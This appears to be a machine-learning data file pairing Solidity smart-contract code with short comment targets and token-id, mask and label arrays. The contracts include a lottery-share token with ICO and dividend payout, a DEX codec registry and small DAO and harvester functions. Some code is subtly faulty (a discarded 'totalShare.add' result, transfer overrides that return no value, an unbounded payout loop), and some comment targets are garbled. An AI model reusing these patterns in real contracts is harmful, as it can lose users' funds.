burnAmount = SafeMathTyped.add256(burnAmount, proposal.proposalDeposit);
}
}
function burnDepositsOfFailedSubmissions()
external
{
token.burn(burnAmount);
burnAmount = 0;
}
function refundSuccessfulSubmissions(address _for)
external
{
uint256 amount = refundAmount[_for];
refundAmount[_for] = 0;
bool couldRefund = token.transfer(_for, amount);
require(couldRefund, "ABQDAO/could-not-refund");
}
}
| 264,675 |
[
1,
20585,
30,
9926,
374,
787,
18,
29679,
30,
9926,
374,
1983,
18,
29679,
30,
9926,
404,
787,
18,
29679,
30,
9926,
404,
1983,
18,
29679,
30,
9926,
576,
787,
18,
29679,
30,
9926,
576,
679,
18,
29679,
30,
9926,
890,
787,
18,
29679,
30,
9926,
890,
1983,
18,
29679,
30,
9926,
1059,
787,
18,
29679,
30,
9926,
1059,
1983,
18,
29679,
30,
9926,
1381,
787,
18,
29679,
30,
9926,
1381,
1983,
18,
29679,
30,
9926,
1666,
787,
18,
29679,
30,
9926,
1666,
1983,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
95,
203,
203,
203,
203,
565,
2254,
5034,
1071,
18305,
6275,
31,
203,
203,
565,
1731,
1578,
1071,
783,
14592,
2310,
31,
203,
377,
203,
565,
2254,
5034,
1071,
2078,
29637,
510,
9477,
31,
203,
203,
565,
2254,
5034,
1071,
14708,
758,
1724,
273,
2130,
225,
2437,
31,
203,
203,
565,
1731,
1578,
8526,
1071,
3549,
626,
22536,
31,
203,
565,
2874,
12,
3890,
1578,
516,
19945,
13,
1071,
450,
22536,
31,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
1071,
16255,
6275,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
1071,
331,
17128,
13788,
31,
203,
565,
2874,
12,
2867,
516,
934,
911,
13,
1071,
384,
3223,
31,
203,
565,
2874,
12,
2867,
516,
1731,
1578,
13,
1071,
1142,
58,
16474,
1398,
31,
203,
203,
565,
3885,
261,
5281,
5541,
9586,
1477,
389,
2414,
83,
5541,
8924,
16,
9771,
85,
41,
1310,
3462,
389,
2316,
13,
203,
16351,
934,
9477,
58,
17128,
43,
1643,
82,
1359,
7010,
565,
288,
203,
3639,
15229,
5541,
8924,
273,
389,
2414,
83,
5541,
8924,
31,
203,
3639,
1147,
273,
389,
2316,
31,
203,
565,
289,
203,
203,
565,
9606,
1338,
11412,
5541,
1435,
203,
565,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
1758,
12,
2414,
83,
5541,
8924,
3631,
315,
2090,
53,
18485,
19,
3700,
17,
2414,
83,
17,
8443,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
9606,
1338,
5933,
310,
626,
22536,
1119,
1435,
203,
565,
288,
203,
3639,
611,
1643,
82,
1359,
1119,
314,
1643,
2
] |
pragma solidity ^0.4.16;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath32 {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint32 a, uint32 b) internal pure returns (uint32) {
if (a == 0) {
return 0;
}
uint32 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint32 a, uint32 b) internal pure returns (uint32) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint32 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint32 a, uint32 b) internal pure returns (uint32) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath8 {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint8 a, uint8 b) internal pure returns (uint8) {
if (a == 0) {
return 0;
}
uint8 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint8 a, uint8 b) internal pure returns (uint8) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint8 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint8 a, uint8 b) internal pure returns (uint8) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0 && _value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0 && _value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
}
/**
*
* @author [email protected]
*
*/
contract S3DContract is Ownable, PausableToken {
modifier shareholderOnly {
require(balances[msg.sender] > 0);
_;
}
modifier acceptDividend {
require(address(this).balance >= 1 ether);
require(block.number - lastDivideBlock >= freezenBlocks);
_;
}
using SafeMath for uint256;
string public name = 'Share of Lottery Token';
string public symbol = 'SLT';
string public version = '1.0.2';
uint8 public decimals = 0;
bool public ico = true;
uint256 public ico_price = 0.1 ether;
uint8 public ico_percent = 20;
uint256 public ico_amount = 0;
uint256 public initShares ;
uint256 public totalShare = 0;
event ReciveEth(address _from, uint amount);
event SendBouns(uint _amount);
event MyProfitRecord(address _addr, uint _amount);
event ReciveFound(address _from, uint amount);
event TransferFound(address _to, uint amount);
event TransferShareFail(address _to, uint amount);
uint256 lastDivideBlock;
uint freezenBlocks = 5990;
address[] accounts;
constructor (uint256 initialSupply) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
initShares = totalSupply;
balances[msg.sender] = totalSupply;
accounts.push(msg.sender);
}
function setIcoPrice(uint256 _price) external onlyOwner {
require(_price > 0);
ico_price = _price;
}
function setIcoStatus(bool _flag) external onlyOwner {
ico = _flag;
}
// Sell Shares
function buy() external payable {
require(ico);
require(msg.value > 0 && msg.value % ico_price == 0);
uint256 shares = msg.value.div(ico_price);
require(ico_amount.add(shares) <= initShares.div(100).mul(ico_percent));
emit ReciveFound(msg.sender, msg.value);
balances[msg.sender] = balances[msg.sender].add(shares);
totalSupply = totalSupply.add(shares.mul(10 ** decimals));
ico_amount = ico_amount.add(shares);
owner.transfer(msg.value);
emit TransferFound(owner, msg.value);
}
// Cash Desk
function () public payable {
emit ReciveEth(msg.sender, msg.value);
}
function sendBouns() external acceptDividend shareholderOnly {
_sendBonus();
}
// dispatch bouns
function _sendBonus() internal {
// caculate bouns
lastDivideBlock = block.number;
uint256 total = address(this).balance;
address[] memory _accounts = accounts;
// do
for (uint i =0; i < _accounts.length; i++) {
if (balances[_accounts[i]] > 0) {
uint256 interest = total.div(totalSupply).mul(balances[_accounts[i]]);
if (interest > 0) {
if (_accounts[i].send(interest)) {
emit MyProfitRecord(_accounts[i], interest);
}
}
}
}
totalShare.add(total);
emit SendBouns(total);
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
if (super.transfer(_to, _value)) {
_addAccount(_to);
}
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
if (super.transferFrom(_from, _to, _value)) {
_addAccount(_to);
}
}
function _addAccount(address _addr) internal returns(bool) {
address[] memory _accounts = accounts;
for (uint i = 0; i < _accounts.length; i++) {
if (_accounts[i] == _addr) {
return false;
}
}
accounts.push(_addr);
return true;
}
function addAccount(address _addr) external onlyOwner {
_addAccount(_addr);
}
}
|
dispatch bouns caculate bouns do
|
function _sendBonus() internal {
lastDivideBlock = block.number;
uint256 total = address(this).balance;
address[] memory _accounts = accounts;
for (uint i =0; i < _accounts.length; i++) {
if (balances[_accounts[i]] > 0) {
uint256 interest = total.div(totalSupply).mul(balances[_accounts[i]]);
if (interest > 0) {
if (_accounts[i].send(interest)) {
emit MyProfitRecord(_accounts[i], interest);
}
}
}
}
totalShare.add(total);
emit SendBouns(total);
}
| 6,370,824 |
[
1,
10739,
324,
465,
87,
276,
1077,
6243,
324,
465,
87,
741,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
4661,
38,
22889,
1435,
2713,
288,
203,
3639,
1142,
7244,
831,
1768,
273,
1203,
18,
2696,
31,
203,
3639,
2254,
5034,
2078,
273,
1758,
12,
2211,
2934,
12296,
31,
203,
3639,
1758,
8526,
3778,
389,
13739,
273,
9484,
31,
203,
3639,
364,
261,
11890,
277,
273,
20,
31,
277,
411,
389,
13739,
18,
2469,
31,
277,
27245,
288,
203,
5411,
309,
261,
70,
26488,
63,
67,
13739,
63,
77,
13563,
405,
374,
13,
288,
203,
7734,
2254,
5034,
16513,
273,
2078,
18,
2892,
12,
4963,
3088,
1283,
2934,
16411,
12,
70,
26488,
63,
67,
13739,
63,
77,
13563,
1769,
203,
7734,
309,
261,
2761,
395,
405,
374,
13,
288,
203,
10792,
309,
261,
67,
13739,
63,
77,
8009,
4661,
12,
2761,
395,
3719,
288,
203,
13491,
3626,
8005,
626,
7216,
2115,
24899,
13739,
63,
77,
6487,
16513,
1769,
203,
10792,
289,
203,
7734,
289,
203,
5411,
289,
203,
3639,
289,
203,
3639,
2078,
9535,
18,
1289,
12,
4963,
1769,
203,
3639,
3626,
2479,
38,
465,
87,
12,
4963,
1769,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x99B123d13918E30454703faD096e01D4dE89C88d/sources/contracts/registries/DexRegistry.sol
|
* @title Manages a list supported dex @author Padoriku/ supported swap functions 0x3df02124 exchange(int128,int128,uint256,uint256) 0xa6417ed6 exchange_underlying(int128,int128,uint256,uint256) 0x44ee1986 exchange_underlying(int128,int128,uint256,uint256,address) 0x38ed1739 swapExactTokensForTokens(uint256,uint256,address[],address,uint256) 0xc04b8d59 exactInput((bytes,address,uint256,uint256,uint256)) 0xb0431182 clipperSwap(address,address,uint256,uint256) 0xe449022e uniswapV3Swap(uint256,uint256,uint256[]) 0x2e95b6c8 unoswap(address,uint256,uint256,bytes32[]) 0x7c025200 swap(address,(address,address,address,address,uint256,uint256,uint256,bytes),bytes) 0xd0a3b665 fillOrderRFQ((uint256,address,address,address,address,uint256,uint256),bytes,uint256,uint256)
|
abstract contract DexRegistry is Ownable, Initializable {
event DexCodecUpdated(address dex, bytes4 selector, address codec);
mapping(address => mapping(bytes4 => address)) public dexFunc2Codec;
function initDexRegistry(
address[] memory _dexList,
string[] memory _funcs,
address[] memory _codecs
) internal onlyInitializing {
_setDexCodecs(_dexList, _funcs, _codecs);
}
function setDexCodecs(
address[] memory _dexList,
string[] memory _funcs,
address[] memory _codecs
) external onlyOwner {
_setDexCodecs(_dexList, _funcs, _codecs);
}
function _setDexCodecs(
address[] memory _dexList,
string[] memory _funcs,
address[] memory _codecs
) private {
require(_dexList.length == _funcs.length && _dexList.length == _codecs.length, "codec lengths mismatch");
for (uint256 i = 0; i < _dexList.length; i++) {
bytes4 selector = bytes4(keccak256(bytes(_funcs[i])));
_setDexCodec(_dexList[i], selector, _codecs[i]);
}
}
function _setDexCodecs(
address[] memory _dexList,
string[] memory _funcs,
address[] memory _codecs
) private {
require(_dexList.length == _funcs.length && _dexList.length == _codecs.length, "codec lengths mismatch");
for (uint256 i = 0; i < _dexList.length; i++) {
bytes4 selector = bytes4(keccak256(bytes(_funcs[i])));
_setDexCodec(_dexList[i], selector, _codecs[i]);
}
}
function _setDexCodec(
address _dex,
bytes4 _selector,
address _codec
) private {
address codec = dexFunc2Codec[_dex][_selector];
require(codec != _codec, "nop");
dexFunc2Codec[_dex][_selector] = _codec;
emit DexCodecUpdated(_dex, _selector, _codec);
}
function getCodec(address _dex, bytes4 _selector) internal view returns (ICodec) {
require(dexFunc2Codec[_dex][_selector] != address(0), "unsupported dex");
return ICodec(dexFunc2Codec[_dex][_selector]);
}
}
| 9,737,268 |
[
1,
49,
940,
281,
279,
666,
3260,
302,
338,
225,
453,
23671,
1766,
89,
19,
3260,
7720,
4186,
374,
92,
23,
2180,
3103,
24734,
7829,
12,
474,
10392,
16,
474,
10392,
16,
11890,
5034,
16,
11890,
5034,
13,
374,
6995,
1105,
4033,
329,
26,
7829,
67,
9341,
6291,
12,
474,
10392,
16,
474,
10392,
16,
11890,
5034,
16,
11890,
5034,
13,
374,
92,
6334,
1340,
3657,
5292,
7829,
67,
9341,
6291,
12,
474,
10392,
16,
474,
10392,
16,
11890,
5034,
16,
11890,
5034,
16,
2867,
13,
374,
92,
7414,
329,
4033,
5520,
7720,
14332,
5157,
1290,
5157,
12,
11890,
5034,
16,
11890,
5034,
16,
2867,
63,
6487,
2867,
16,
11890,
5034,
13,
374,
6511,
3028,
70,
28,
72,
6162,
5565,
1210,
12443,
3890,
16,
2867,
16,
11890,
5034,
16,
11890,
5034,
16,
11890,
5034,
3719,
374,
6114,
3028,
23,
2499,
11149,
6807,
457,
12521,
12,
2867,
16,
2867,
16,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
17801,
6835,
463,
338,
4243,
353,
14223,
6914,
16,
10188,
6934,
288,
203,
565,
871,
463,
338,
11008,
7381,
12,
2867,
302,
338,
16,
1731,
24,
3451,
16,
1758,
9196,
1769,
203,
203,
565,
2874,
12,
2867,
516,
2874,
12,
3890,
24,
516,
1758,
3719,
1071,
302,
338,
2622,
22,
11008,
31,
203,
203,
565,
445,
1208,
40,
338,
4243,
12,
203,
3639,
1758,
8526,
3778,
389,
561,
682,
16,
203,
3639,
533,
8526,
3778,
389,
17728,
16,
203,
3639,
1758,
8526,
3778,
389,
710,
2143,
203,
203,
565,
262,
2713,
1338,
29782,
288,
203,
3639,
389,
542,
40,
338,
1085,
2143,
24899,
561,
682,
16,
389,
17728,
16,
389,
710,
2143,
1769,
203,
565,
289,
203,
203,
565,
445,
444,
40,
338,
1085,
2143,
12,
203,
3639,
1758,
8526,
3778,
389,
561,
682,
16,
203,
3639,
533,
8526,
3778,
389,
17728,
16,
203,
3639,
1758,
8526,
3778,
389,
710,
2143,
203,
565,
262,
3903,
1338,
5541,
288,
203,
3639,
389,
542,
40,
338,
1085,
2143,
24899,
561,
682,
16,
389,
17728,
16,
389,
710,
2143,
1769,
203,
565,
289,
203,
203,
565,
445,
389,
542,
40,
338,
1085,
2143,
12,
203,
3639,
1758,
8526,
3778,
389,
561,
682,
16,
203,
3639,
533,
8526,
3778,
389,
17728,
16,
203,
3639,
1758,
8526,
3778,
389,
710,
2143,
203,
565,
262,
3238,
288,
203,
3639,
2583,
24899,
561,
682,
18,
2469,
422,
389,
17728,
18,
2469,
597,
389,
561,
682,
18,
2469,
422,
389,
710,
2143,
18,
2469,
16,
315,
21059,
10917,
13484,
8863,
203,
3639,
2
] |
./partial_match/1/0x752cA40117180129410b5E3529AEdEB6Efa22e2b/sources/AlchemixHarvester.sol
|
@notice Sets the address of the whitelisted gelato poker contract. @param newPoker The new address of the gelato poker.
|
function setPoker(address newPoker) external onlyOwner {
gelatoPoker = newPoker;
emit SetPoker(gelatoPoker);
}
| 9,265,946 |
[
1,
2785,
326,
1758,
434,
326,
26944,
314,
292,
31093,
293,
601,
264,
6835,
18,
225,
394,
52,
601,
264,
1021,
394,
1758,
434,
326,
314,
292,
31093,
293,
601,
264,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
17004,
601,
264,
12,
2867,
394,
52,
601,
264,
13,
3903,
1338,
5541,
288,
203,
565,
314,
292,
31093,
52,
601,
264,
273,
394,
52,
601,
264,
31,
203,
565,
3626,
1000,
52,
601,
264,
12,
75,
292,
31093,
52,
601,
264,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/42/0xF22B03E07043A0332DDE01cAb564d8d67B8339e3/sources/browser/GoalBet.sol
|
Only the bet Registry can send a new bet.
|
require(msg.sender == goalBetRegistry);
| 16,289,178 |
[
1,
3386,
326,
2701,
5438,
848,
1366,
279,
394,
2701,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1377,
2583,
12,
3576,
18,
15330,
422,
17683,
38,
278,
4243,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
